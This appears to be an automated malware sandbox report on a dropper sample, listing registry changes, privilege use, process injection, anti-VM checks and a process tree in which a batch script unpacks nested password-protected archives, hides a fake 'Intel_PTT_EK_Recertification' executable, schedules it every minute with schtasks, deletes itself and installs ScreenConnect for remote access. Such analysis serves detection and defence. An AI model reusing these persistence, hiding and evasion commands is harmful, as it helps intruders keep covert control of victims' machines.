Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000c4d65e62b69e8e0b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000c4d65e620000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900c4d65e62000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dc4d65e62000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000c4d65e6200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	5c2d2b4639.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	5c2d2b4639.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
5952	timeout.exe

Kills process with taskkill 5 IoCs

pid	Process
4388	taskkill.exe
1984	taskkill.exe
4592	taskkill.exe
1072	taskkill.exe
1668	taskkill.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe

Modifies registry class 38 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\ = "ScreenConnect Client (eecac53463291819) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\295428210293F5E8A22AC5A8F81BF75E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\ProductName = "ScreenConnect Client (eecac53463291819)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D9FA4D2B2C06BDE2EEAC5C4336928191	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D9FA4D2B2C06BDE2EEAC5C4336928191\295428210293F5E8A22AC5A8F81BF75E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (eecac53463291819)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\eecac53463291819\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-eecac53463291819\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (eecac53463291819)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\eecac53463291819\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-eecac53463291819	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\295428210293F5E8A22AC5A8F81BF75E\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\ProductIcon = "C:\\Windows\\Installer\\{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-eecac53463291819\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-D318-8AF0EBD0E644}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\PackageCode = "295428210293F5E8A22AC5A8F81BF75E"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Version = "402849799"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\295428210293F5E8A22AC5A8F81BF75E\InstanceType = "0"	msiexec.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
2240	PING.EXE
5700	PING.EXE
5940	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
5096	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
5096	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
1528	skotes.exe
1528	skotes.exe
1504	H9TU4oY.exe
1504	H9TU4oY.exe
2008	msiexec.exe
2008	msiexec.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
460	powershell.exe
460	powershell.exe
460	powershell.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
388	21d95f9538.exe
388	21d95f9538.exe
1220	21bdfa3967.exe
1220	21bdfa3967.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
4936	skotes.exe
4936	skotes.exe
5296	2e06673134.exe
5296	2e06673134.exe
5880	Intel_PTT_EK_Recertification.exe
5964	powershell.exe
5964	powershell.exe
5964	powershell.exe
5296	2e06673134.exe
5296	2e06673134.exe
5296	2e06673134.exe
460	5c2d2b4639.exe
460	5c2d2b4639.exe
5680	93f4ee93fd.exe
5680	93f4ee93fd.exe
5796	skotes.exe
5796	skotes.exe
4396	Intel_PTT_EK_Recertification.exe
6004	powershell.exe
6004	powershell.exe
6004	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	94CwbGg.exe
Token: SeShutdownPrivilege	4640	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4640	msiexec.exe
Token: SeSecurityPrivilege	2008	msiexec.exe
Token: SeCreateTokenPrivilege	4640	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4640	msiexec.exe
Token: SeLockMemoryPrivilege	4640	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4640	msiexec.exe
Token: SeMachineAccountPrivilege	4640	msiexec.exe
Token: SeTcbPrivilege	4640	msiexec.exe
Token: SeSecurityPrivilege	4640	msiexec.exe
Token: SeTakeOwnershipPrivilege	4640	msiexec.exe
Token: SeLoadDriverPrivilege	4640	msiexec.exe
Token: SeSystemProfilePrivilege	4640	msiexec.exe
Token: SeSystemtimePrivilege	4640	msiexec.exe
Token: SeProfSingleProcessPrivilege	4640	msiexec.exe
Token: SeIncBasePriorityPrivilege	4640	msiexec.exe
Token: SeCreatePagefilePrivilege	4640	msiexec.exe
Token: SeCreatePermanentPrivilege	4640	msiexec.exe
Token: SeBackupPrivilege	4640	msiexec.exe
Token: SeRestorePrivilege	4640	msiexec.exe
Token: SeShutdownPrivilege	4640	msiexec.exe
Token: SeDebugPrivilege	4640	msiexec.exe
Token: SeAuditPrivilege	4640	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4640	msiexec.exe
Token: SeChangeNotifyPrivilege	4640	msiexec.exe
Token: SeRemoteShutdownPrivilege	4640	msiexec.exe
Token: SeUndockPrivilege	4640	msiexec.exe
Token: SeSyncAgentPrivilege	4640	msiexec.exe
Token: SeEnableDelegationPrivilege	4640	msiexec.exe
Token: SeManageVolumePrivilege	4640	msiexec.exe
Token: SeImpersonatePrivilege	4640	msiexec.exe
Token: SeCreateGlobalPrivilege	4640	msiexec.exe
Token: SeCreateTokenPrivilege	4640	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4640	msiexec.exe
Token: SeLockMemoryPrivilege	4640	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4640	msiexec.exe
Token: SeMachineAccountPrivilege	4640	msiexec.exe
Token: SeTcbPrivilege	4640	msiexec.exe
Token: SeSecurityPrivilege	4640	msiexec.exe
Token: SeTakeOwnershipPrivilege	4640	msiexec.exe
Token: SeLoadDriverPrivilege	4640	msiexec.exe
Token: SeSystemProfilePrivilege	4640	msiexec.exe
Token: SeSystemtimePrivilege	4640	msiexec.exe
Token: SeProfSingleProcessPrivilege	4640	msiexec.exe
Token: SeIncBasePriorityPrivilege	4640	msiexec.exe
Token: SeCreatePagefilePrivilege	4640	msiexec.exe
Token: SeCreatePermanentPrivilege	4640	msiexec.exe
Token: SeBackupPrivilege	4640	msiexec.exe
Token: SeRestorePrivilege	4640	msiexec.exe
Token: SeShutdownPrivilege	4640	msiexec.exe
Token: SeDebugPrivilege	4640	msiexec.exe
Token: SeAuditPrivilege	4640	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4640	msiexec.exe
Token: SeChangeNotifyPrivilege	4640	msiexec.exe
Token: SeRemoteShutdownPrivilege	4640	msiexec.exe
Token: SeUndockPrivilege	4640	msiexec.exe
Token: SeSyncAgentPrivilege	4640	msiexec.exe
Token: SeEnableDelegationPrivilege	4640	msiexec.exe
Token: SeManageVolumePrivilege	4640	msiexec.exe
Token: SeImpersonatePrivilege	4640	msiexec.exe
Token: SeCreateGlobalPrivilege	4640	msiexec.exe
Token: SeCreateTokenPrivilege	4640	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4640	msiexec.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
5096	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
4640	msiexec.exe
4976	ScreenConnect.WindowsClient.exe
4640	msiexec.exe
4976	ScreenConnect.WindowsClient.exe
4976	ScreenConnect.WindowsClient.exe
4976	ScreenConnect.WindowsClient.exe
4976	ScreenConnect.WindowsClient.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe

Suspicious use of SendNotifyMessage 36 IoCs

pid	Process
4976	ScreenConnect.WindowsClient.exe
4976	ScreenConnect.WindowsClient.exe
4976	ScreenConnect.WindowsClient.exe
4976	ScreenConnect.WindowsClient.exe
4976	ScreenConnect.WindowsClient.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3000	firefox.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe
3388	81432b77dd.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3000	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 1528	5096	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe	83
PID 5096 wrote to memory of 1528	5096	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe	83
PID 5096 wrote to memory of 1528	5096	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe	83
PID 1528 wrote to memory of 2712	1528	skotes.exe	97
PID 1528 wrote to memory of 2712	1528	skotes.exe	97
PID 1528 wrote to memory of 2712	1528	skotes.exe	97
PID 2712 wrote to memory of 4640	2712	94CwbGg.exe	98
PID 2712 wrote to memory of 4640	2712	94CwbGg.exe	98
PID 2712 wrote to memory of 4640	2712	94CwbGg.exe	98
PID 2008 wrote to memory of 3608	2008	msiexec.exe	102
PID 2008 wrote to memory of 3608	2008	msiexec.exe	102
PID 2008 wrote to memory of 3608	2008	msiexec.exe	102
PID 3608 wrote to memory of 3912	3608	MsiExec.exe	103
PID 3608 wrote to memory of 3912	3608	MsiExec.exe	103
PID 3608 wrote to memory of 3912	3608	MsiExec.exe	103
PID 1528 wrote to memory of 1504	1528	skotes.exe	107
PID 1528 wrote to memory of 1504	1528	skotes.exe	107
PID 1528 wrote to memory of 1504	1528	skotes.exe	107
PID 1528 wrote to memory of 1848	1528	skotes.exe	111
PID 1528 wrote to memory of 1848	1528	skotes.exe	111
PID 1528 wrote to memory of 1848	1528	skotes.exe	111
PID 2008 wrote to memory of 2100	2008	msiexec.exe	114
PID 2008 wrote to memory of 2100	2008	msiexec.exe	114
PID 1848 wrote to memory of 4124	1848	f322e22e80.exe	116
PID 1848 wrote to memory of 4124	1848	f322e22e80.exe	116
PID 4124 wrote to memory of 4908	4124	cmd.exe	118
PID 4124 wrote to memory of 4908	4124	cmd.exe	118
PID 2008 wrote to memory of 3980	2008	msiexec.exe	119
PID 2008 wrote to memory of 3980	2008	msiexec.exe	119
PID 2008 wrote to memory of 3980	2008	msiexec.exe	119
PID 4124 wrote to memory of 4532	4124	cmd.exe	144
PID 4124 wrote to memory of 4532	4124	cmd.exe	144
PID 4124 wrote to memory of 1212	4124	cmd.exe	122
PID 4124 wrote to memory of 1212	4124	cmd.exe	122
PID 2008 wrote to memory of 1416	2008	msiexec.exe	123
PID 2008 wrote to memory of 1416	2008	msiexec.exe	123
PID 2008 wrote to memory of 1416	2008	msiexec.exe	123
PID 4124 wrote to memory of 2292	4124	cmd.exe	124
PID 4124 wrote to memory of 2292	4124	cmd.exe	124
PID 4124 wrote to memory of 3012	4124	cmd.exe	127
PID 4124 wrote to memory of 3012	4124	cmd.exe	127
PID 4124 wrote to memory of 1576	4124	cmd.exe	142
PID 4124 wrote to memory of 1576	4124	cmd.exe	142
PID 4124 wrote to memory of 4260	4124	cmd.exe	129
PID 4124 wrote to memory of 4260	4124	cmd.exe	129
PID 4124 wrote to memory of 3008	4124	cmd.exe	130
PID 4124 wrote to memory of 3008	4124	cmd.exe	130
PID 4124 wrote to memory of 3516	4124	cmd.exe	131
PID 4124 wrote to memory of 3516	4124	cmd.exe	131
PID 4124 wrote to memory of 3388	4124	cmd.exe	132
PID 4124 wrote to memory of 3388	4124	cmd.exe	132
PID 4124 wrote to memory of 3944	4124	cmd.exe	133
PID 4124 wrote to memory of 3944	4124	cmd.exe	133
PID 3944 wrote to memory of 4016	3944	in.exe	134
PID 3944 wrote to memory of 4016	3944	in.exe	134
PID 3944 wrote to memory of 3716	3944	in.exe	135
PID 3944 wrote to memory of 3716	3944	in.exe	135
PID 3944 wrote to memory of 4384	3944	in.exe	136
PID 3944 wrote to memory of 4384	3944	in.exe	136
PID 3944 wrote to memory of 460	3944	in.exe	137
PID 3944 wrote to memory of 460	3944	in.exe	137
PID 1888 wrote to memory of 4976	1888	ScreenConnect.ClientService.exe	141
PID 1888 wrote to memory of 4976	1888	ScreenConnect.ClientService.exe	141
PID 1528 wrote to memory of 388	1528	skotes.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

Hidden Files and Directories

T1564.001

pid	Process
3388	attrib.exe
3716	attrib.exe
4016	attrib.exe

C:\Users\Admin\AppData\Local\Temp\5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
"C:\Users\Admin\AppData\Local\Temp\5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Users\Admin\AppData\Local\Temp\1015305001\94CwbGg.exe
    "C:\Users\Admin\AppData\Local\Temp\1015305001\94CwbGg.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\eecac53463291819\ScreenConnect.ClientSetup.msi"
      4⤵
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4640
- - C:\Users\Admin\AppData\Local\Temp\1015327001\H9TU4oY.exe
    "C:\Users\Admin\AppData\Local\Temp\1015327001\H9TU4oY.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1504
- - C:\Users\Admin\AppData\Local\Temp\1015432001\f322e22e80.exe
    "C:\Users\Admin\AppData\Local\Temp\1015432001\f322e22e80.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4124
    - - C:\Windows\system32\mode.com
        
        mode 65,10
        5⤵
        
        PID:4908
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e file.zip -p24291711423417250691697322505 -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4532
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1212
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2292
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3012
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1576
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4260
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3008
    - - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3516
    - - C:\Windows\system32\attrib.exe
        
        attrib +H "in.exe"
        5⤵
        Views/modifies file attributes
        
        PID:3388
    - - C:\Users\Admin\AppData\Local\Temp\main\in.exe
        
        "in.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3944
      - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:4016
      - C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        6⤵
        Views/modifies file attributes
        
        PID:3716
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4384
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell ping 127.0.0.1; del in.exe
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:460
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1576
        
        C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.0.0.1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2240
